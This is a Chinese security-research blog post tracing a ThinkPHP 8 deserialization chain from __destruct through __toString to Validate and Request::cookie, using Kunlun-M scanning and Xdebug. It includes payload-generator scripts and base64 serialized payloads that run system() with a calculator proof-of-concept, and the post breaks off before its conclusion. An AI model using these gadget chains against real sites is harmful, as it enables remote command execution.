专栏名称: 衡阳信安
船山院士网络安全团队唯一公众号,为国之安全而奋斗,为信息安全而发声!
目录
相关文章推荐
界面新闻  ·  知情人士称美国国税局将解雇约6000名员工 ·  昨天  
界面新闻  ·  马斯克旗下xAI宣布Grok 3开放免费使用 ·  2 天前  
51好读  ›  专栏  ›  衡阳信安

thinkphp8 反序列化分析

衡阳信安  · 公众号  ·  · 2024-09-03 00:00

正文

寻找source点

使用php8运行,
composer create-project topthink/think thinkphp8

phpstudy下载php8,它的php8配置了debug3,因此配置与debug2不同,

[Xdebug]
zend_extension = "D:\nettools\phpstudy\phpStudy_64\phpstudy_pro\Extensions\php\php8.0.2nts\ext\php_xdebug.dll"
;是否开启调试
xdebug.mode= "debug"
xdebug.remote_handler = "dbgp"
xdebug.idekey="PHPSTORM"
;由remote_host替换过来了,就写本机的就行
xdebug.client_host="127.0.0.1"
;由remote_port替换过来了,调试端口
xdebug.client_port=9001
xdebug.start_with_request=yes
xdebug.log_level=debug

php静态代码审计工具:https://github.com/LoRexxar/Kunlun-M,
php7在解释执行时会生成AST语法树,可以分析语法树来查询相关的source/flow/sink,
初始化数据库,默认采用sqlite作为数据库
python kunlun.py init initialize

(每次修改规则文件都需要加载)
python kunlun.py config load # 加载rule进数据库
python kunlun.py config recover # 将数据库中的rule恢复到文件
python kunlun.py config loadtamper # 加载tamper进数据库
python kunlun.py config retamper # 将数据库中的tamper恢复到文件

python kunlun.py show rule # 展示所有的rule
python kunlun.py show rule -k php # 展示所有php的rule
python kunlun.py show tamper # 展示所有的tamper

扫描漏洞,

python kunlun.py scan -t D:\nettools\phpstudy\phpStudy_64\phpstudy_pro\WWW\thinkphp8

一个自动化寻找php反序列化链的简单模型
python .\kunlun.py plugin php_unserialize_chain_tools -t D:\nettools\phpstudy\phpStudy_64\phpstudy_pro\WWW\thinkphp8

用于解决在审计大量的php代码时,快速发现存在可能的入口页面
python .\kunlun.py plugin entrance_finder -t D:\nettools\phpstudy\phpStudy_64\phpstudy_pro\WWW\thinkphp8 -l 3

使用 php_unserialize_chain_tool插件,可以看到这里是以__destruct为source开展的分析,

利用Kunlun-M寻找php反序列化链,扫出来了一条链,这里的入口是对的,ResourceRegister类的 call魔法函数,此插件是根据source的可控变量来分析的,因此入口基本上是没啥问题的,不过此条链调用call_user_func_array的参数有一部分不可控(在分析Nivia师傅的文章之前,没有分析出来,还是自己太菜,一直在想怎么利用到扫描结果中的call_user_func_array函数,最后不得不去分析Nivia师傅的文章,最终发现触发点在 toString()),

寻找sink点一(失败)

thinkphp8多应用配置,
config/app.php
'auto_multi_app' => true,

在项目根目录上执行,
composer require topthink/think-multi-app
php think build Payload

打开thinkphp8调式模式,

分析了Nivia师傅的文章后,发现是在parseGroupRule函数中利用 toString()最终触发了Validate类中的 call,

那么我们先分析一下Validate类的__call函数怎么触发命令执行的,
可以发现这是调用_call->call_user_func_array->is->call_user_func_array,


开始寻找call_user_func_array能触发命令执行的位置,可以发现存在四处,




但是以上四处都参没有完全可控,因为Validate类的is函数中的call_user_func_array的第二个参数被[]包围了,转化为了数组,虽然第一个参数可控,能调用任意类的任意函数,但是传入函数的参数只有一个,并且类型还是数组类型才行,

实验脚本如下:
这里尝试的是Arr类的first函数中的call_user_func,
/thinkphp8/app/Payload/model/Shiyan.php,



namespace app\Payload\model;
use think\Validate;

class Shiyan
{
public $validate;

public function __construct()
{
$this->aaa = 1;
}

public function __destruct()
{

$this->validate->aaa([array(
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
), "open -a Calculator"], "aaa", ['proc_open']);
}
}

/thinkphp8/public/payload.php,访问http://127.0.0.1/payload.php,





namespace think;
use think\helper\arr;

class Request
{
protected $cookie = [];
public function __construct()
{
$this->cookie = ["open -a Calculator"];
}
}

class Validate
{
protected $field = [];
protected $type = [];
public function __construct()
{
$this->field = ['ddd'];
$this->type = ['aaa'=>[new Arr(), 'first']];
}
}

namespace think\helper;
class Arr
{
public function __construct()
{
}
}

namespace app\Payload\model;
use think\Request;
use think\Validate;
class Shiyan
{
public $validate;
public function __construct()
{
$this->validate = new Validate();
}
}


use app\Payload\model\shiyan;

$shiyan = new Shiyan();
$payload = urlencode(base64_encode(serialize($shiyan)));
echo $payload;




?>

/thinkphp8/app/Payload/controller/Index.php,访问http://127.0.0.1/index.php/payload/index/exec,


declare (strict_types = 1);

namespace app\Payload\controller;

use think\Request;

class Index
{
public function index()
{
return '您好!这是一个[Payload]示例应用';
}

public function hello()
{
//$request = new Request();
//$argc = ["s", "open -a Calculator", "system"];

$descriptorspec = array(
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
);

$process = proc_open('open -a Calculator', $descriptorspec, $a);

//call_user_func('system', 'open -a Calculator', null);
//call_user_func_array([new Request(), "cookie"], [$argc]);
return '您好!这是一个[hello]示例应用';
}
public function exec()
{
$exec = "TzoyNDoiYXBwXFBheWxvYWRcbW9kZWxcU2hpeWFuIjoxOntzOjg6InZhbGlkYXRlIjtPOjE0OiJ0aGlua1xWYWxpZGF0ZSI6Mjp7czo4OiIAKgBmaWVsZCI7YToxOntpOjA7czozOiJkZGQiO31zOjc6IgAqAHR5cGUiO2E6MTp7czozOiJhYWEiO2E6Mjp7aTowO086MTY6InRoaW5rXGhlbHBlclxBcnIiOjA6e31pOjE7czo1OiJmaXJzdCI7fX19fQ%3D%3D";

unserialize(base64_decode(urldecode($exec)));
}

}

可以发现任意调用函数的第一个参数强制转化成数组,后面调用first函数时的参数就只有第一个可控,所以利用失败,

注意这里的is函数的第三个参数为数组类型,


没办法,此时又不得不去看看Nivia师傅的思路了,他首先想到的是利用php自带的反射型函数,并且第一个参数也为数组类型,不过php的内部类不能被序列化,然后想到了用toString去触发相关函数,
使用方法如下:


function myFunction($param1, $param2) {
return $param1 + $param2;
}

$reflectionFunction = new ReflectionFunction('myFunction');
$result = $reflectionFunction->invokeArgs([2, 3]);
echo $result; // 输出: 5
?>

寻找sink点二(成功)

寻找调用filterValue的函数,因为这里的第一个参数为&$value,引用的值,

存在两处调用filter函数的地方,


在cookie函数中,$this->cookie可控,getData函数中的返回值就可控,

在getFilter函数中,$this->filter可控,返回值就可控,

因此在cookie函数中,调用了filterValue函数,其中三个参数都可控,

开始调试,
/tinkphp8/app/Payload/model/Shiyan.php



namespace app\Payload\model;
use think\Validate;

class Shiyan
{
public $validate;

public function __construct()
{
$this->aaa = 1;
}

public function __destruct()
{

$this->validate->aaa("qqq");
}
}

/thinkphp8/app/Payload/controller/Index.php


declare (strict_types = 1);

namespace app\Payload\controller;

use think\Request;

class Index
{
public function index()
{
return '您好!这是一个[Payload]示例应用';
}

public function hello()
{
//$request = new Request();
//$argc = ["s", "open -a Calculator", "system"];

$descriptorspec = array(
0 => array("pipe", "r"),
1 => array("pipe", "w"),
2 => array("pipe", "w")
);

$descriptorspec = array(
0 => array("pipe", "r"),
1 => array("pipe", "w"),
2 => array("pipe", "w")
);

echo $descriptorspec;
echo "
"
;
//echo [$descriptorspec];

$process = proc_open('open -a Calculator', $descriptorspec, $a);

//call_user_func('system', 'open -a Calculator', null);
//call_user_func_array([new Request(), "cookie"], [$argc]);
return '您好!这是一个[hello]示例应用';
}
public function exec()
{
$exec = "TzoyNDoiYXBwXFBheWxvYWRcbW9kZWxcU2hpeWFuIjoxOntzOjg6InZhbGlkYXRlIjtPOjE0OiJ0aGlua1xWYWxpZGF0ZSI6Mjp7czo4OiIAKgBmaWVsZCI7YToxOntpOjA7czozOiJkZGQiO31zOjc6IgAqAHR5cGUiO2E6MTp7czozOiJhYWEiO2E6Mjp7aTowO086MTM6InRoaW5rXFJlcXVlc3QiOjI6e3M6OToiACoAY29va2llIjthOjE6e3M6MzoicXFxIjtzOjg6ImNhbGMuZXhlIjt9czo5OiIAKgBmaWx0ZXIiO3M6Njoic3lzdGVtIjt9aToxO3M6NjoiY29va2llIjt9fX19";

unserialize(base64_decode(urldecode($exec)));
}

}

/thinkphp8/public/payload.php



namespace think;

class Request
{
protected $cookie = [];
protected $filter;

public function __construct()
{
$this->cookie = ["qqq" => "open -a Calculator"];
$this->filter = "system";
}
}

class Validate
{
protected $field = [];
protected $type = [];
public function __construct()
{
$this->field = ['ddd'];
$this->type = ['aaa'=>[new Request(), 'cookie']];
}
}


namespace app\Payload\model;
use think\validate;
class Shiyan
{
public $validate;
public function __construct()
{
$this->validate = new Validate();
}
}


use app\Payload\model\shiyan;

$shiyan = new Shiyan();
$payload = urlencode(base64_encode(serialize($shiyan)));
echo $payload;

?>

调用过程,




寻找flow(中间执行流)

我们之前在Shiyan.php中自定义了一个漏洞类,
所以现在我们需要寻找的flow的条件就有以下几点:
1.类可控(调用函数不需要可控)
2.第一个参数可控
3.通过toString调用链触发

存在以下几处toString最有可能符合以上条件,



这里的build函数中有$rule = $this->route->getName($checkName, $checkDomain);,
�不过$this->route的类型在构造函数已经定义了,



会报参数的类型错误,


以上的toString都不能满足条件,只有此类调用的__toString链满足条件,

gadget:
payload.php





namespace think;
use model\concern\RelationShip;

class Request
{
protected $cookie = [];
protected $filter;

public function __construct()
{
$this->cookie = ["1" => "open -a Calculator"];
$this->filter = "system";
}
}

namespace think;
use think\Request;
class Validate
{
protected $field = [];
protected $type = [];
public function __construct()
{
$this->field = ['ddd'];
$this->type = ['visible'=>[new Request(), 'cookie']];
}
}

namespace think\model;
use think\Validate;
class Pivot
{
protected $append = [];
private $relation = [];
protected $visible = [];
protected $name;
public function __construct()
{
$this->append = ["eee" => "yyy.ttt"];
$this->relation = ["yyy" => new Validate()];
$this->visible = ["yyy" => "yyy"];
$this->name = "uuu";

}
}

namespace think\model\concern;
trait Conversion
{
protected $resultSetType;
public function __construct()
{
$this->resultSetType = "iii";
}
}


namespace app\Payload\model;
use think\validate;
use think\Model\Pivot;
class Shiyan
{
public $validate;
public $shiyan_1;
public function __construct()
{
$this->validate = new Validate();
$this->shiyan_1 = new Pivot();
}
}

use app\Payload\model\shiyan;

$shiyan_2 = new Shiyan();
$payload_2 = urlencode(base64_encode(serialize($shiyan_2)));
echo $payload_2;


?>

index.php

?php
declare (strict_types = 1);

namespace app\Payload\controller;

use think\Request;

class Index
{
public function index()
{
return '您好!这是一个[Payload]示例应用';
}

public function hello()
{

//return '您好!这是一个[hello]示例应用';
}
public function exec()
{
$exec = "TzoyNDoiYXBwXFBheWxvYWRcbW9kZWxcU2hpeWFuIjoyOntzOjg6InZhbGlkYXRlIjtPOjE0OiJ0aGlua1xWYWxpZGF0ZSI6Mjp7czo4OiIAKgBmaWVsZCI7YToxOntpOjA7czozOiJkZGQiO31zOjc6IgAqAHR5cGUiO2E6MTp7czo3OiJ2aXNpYmxlIjthOjI6e2k6MDtPOjEzOiJ0aGlua1xSZXF1ZXN0IjoyOntzOjk6IgAqAGNvb2tpZSI7YToxOntpOjE7czoxODoib3BlbiAtYSBDYWxjdWxhdG9yIjt9czo5OiIAKgBmaWx0ZXIiO3M6Njoic3lzdGVtIjt9aToxO3M6NjoiY29va2llIjt9fX1zOjg6InNoaXlhbl8xIjtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6NDp7czo5OiIAKgBhcHBlbmQiO2E6MTp7czozOiJlZWUiO3M6NzoieXl5LnR0dCI7fXM6Mjc6IgB0aGlua1xtb2RlbFxQaXZvdAByZWxhdGlvbiI7YToxOntzOjM6Inl5eSI7TzoxNDoidGhpbmtcVmFsaWRhdGUiOjI6e3M6ODoiACoAZmllbGQiO2E6MTp7aTowO3M6MzoiZGRkIjt9czo3OiIAKgB0eXBlIjthOjE6e3M6NzoidmlzaWJsZSI7YToyOntpOjA7TzoxMzoidGhpbmtcUmVxdWVzdCI6Mjp7czo5OiIAKgBjb29raWUiO2E6MTp7aToxO3M6MTg6Im9wZW4gLWEgQ2FsY3VsYXRvciI7fXM6OToiACoAZmlsdGVyIjtzOjY6InN5c3RlbSI7fWk6MTtzOjY6ImNvb2tpZSI7fX19fXM6MTA6IgAqAHZpc2libGUiO2E6MTp7czozOiJ5eXkiO3M6MzoieXl5Ijt9czo3OiIAKgBuYW1lIjtzOjM6InV1dSI7fX0%3D";






请到「今天看啥」查看全文